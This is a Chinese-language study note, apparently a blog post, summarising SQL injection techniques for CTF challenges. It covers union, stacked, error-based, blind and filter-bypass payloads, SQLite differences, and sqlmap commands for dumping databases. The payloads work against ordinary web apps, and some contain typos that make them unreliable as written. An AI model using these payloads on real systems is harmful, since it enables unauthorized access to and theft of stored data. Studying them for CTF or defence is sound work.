sql注入學習筆記
首先來了解一下在CTF中最為常見的sql查詢語句:
select * from users where username='$username' and password='$password';
這個語句的意圖也非常明顯,查詢users數據表中的所有字段,看能否找到用戶輸入的用戶名和對應的密碼。
利用點也很明確,通過閉合單引號在該查詢語句的基礎上添加我們想要的查詢語句(此即為sql注入)。
下面對CTF中出現的一些常見考點做一個簡單的梳理和總結。
萬能密碼(以上面這條查詢語句為例)
'or 1=1#username=admin\&password=or 1;# //通過斜杠轉義單引號
聯合注入
有無回顯測試
?id=-1'order by 1%23 //使用order by主要用于確定字段數?id=1'union select 1,2,3%23
有回顯注入
分為數字型,字符型
利用select查詢
(以字符型注入為例)
查詢sql版本:
?id=-1'union select 1,version(),3%23
查詢數據庫名(把database放在回顯點上):
?id=-1'union select 1,database(),3%23
查詢數據表名:
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
查詢字段名:
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(數據表名)'%23
查詢結果:
?id=-1' union select (字段名),2 from 表名 %23
堆疊查詢
查詢數據庫:
1';show databases;%23
查詢數據表:
1';show tables;%23
查詢字段名(如果數據表名是數字形式,使用反引號):
1';show columns from (數據表名);%23
堆疊查詢沒有直接讀取字段值的方法,但是有時候可以通過。
預處理
運用handler命令:
1';handler (數據表) open;handler (數據表) read first;handler (數據表) close;%23
運用rename命令:
1';rename tables `(默認表)` to `(新表)`;rename tables `(待查詢的表)` to `(默認表)`; alter table `(默認表)` change `(待查詢字段)` `(默認字段)` varchar(100);23
報錯注入
基于extractvalue()的payload:
查詢數據庫:
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
查詢數據表:
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('數據庫名'))%23
查詢字段:
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('數據表名'))))%23
查詢字段值(字段名和數據表名不需要單引號):
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(數據表名)))%23
可用updatexml():
查詢數據庫名:
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
無回顯注入
布爾盲注
id=1' and length(database())<5 %23 ?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
時間盲注
基于and的盲注payload:
1' and 表達式 and sleep(5)%23
基于if的盲注payload:
if(ascii(substr(database(),1),1))=97,sleep(5),1)
bypass
大小寫繞過
當正則匹配的黑名單修飾符沒有i時
各種字符繞過
空格:
/**/ /*!*/ /*1*/ ()
字符串截取函數:
substr substring mid left right
等于號:
in regexp like
與:
and &&
或:
or ||
limit:
offset
大于,小于號(greatest(n1,n2,n3,等)函數返回輸入參數(n1,n2,n3,等)的最大值):
greatest
截斷符
# %23 %00 --
select繞過
預處理繞過
1';set @sql=concat('se','lect * from user;');prepare ext from @sql;execute ext;
基于mysql8的新特性
table在某些情況下可以代替select
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
但值得注意的是,table在查詢時,返回值為元組。
注入payload:
(1,0x21,0x21)<(table users limit 1)
以上是對于mysql的注入。
當然還有不太常見但偶爾出現的sqlite注入,sqlite注入和mysql的注入大致上相同,值得注意的是一下幾個區別。
1、sqlite中查詢版本號的函數時sqlite_version()。
2、在sqlite中有一張叫sqlite_master的表,類似于mysql中的information.schema,用于存放數據表名,字段名等信息。
union select 1,2,name from sqlite_master where type='table' and name='(數據表)'
3.在sqlite中并不支持#這個注釋符,但可以用--等DDl中的注釋符。
sqlmap的使用
雖然學會手注很重要,但是最方便的還是直接用sqlmap辣,一般在題目黑名單限制不多,形態比較常規的時候,可以直接掃到。
一鍵開掃:
python3 sqlmap.py -u http://ip:port
post型注入(抓包):
python3 sqlmap.py -r request.txt -p (注入點)
獲取數據庫名:
python3 sqlmap.py -u http://ip:port --dbs
獲取數據表名:
python3 sqlmap.py -u http://ip:port -D 數據庫 --tables
獲取字段名:
python3 sqlmap.py -u http://ip:port -D 數據庫 -T 數據表 --columns
獲取字段值:
python3 sqlmap.py -u http://ip:port -D 數據庫 -T 數據表 -C 字段名 --dump
以上就是本人在學習sql注入過程中做的一個小小的匯總。
如有錯誤,寫的不好的或需要補充的地方,希望路過的大佬們能不吝賜教。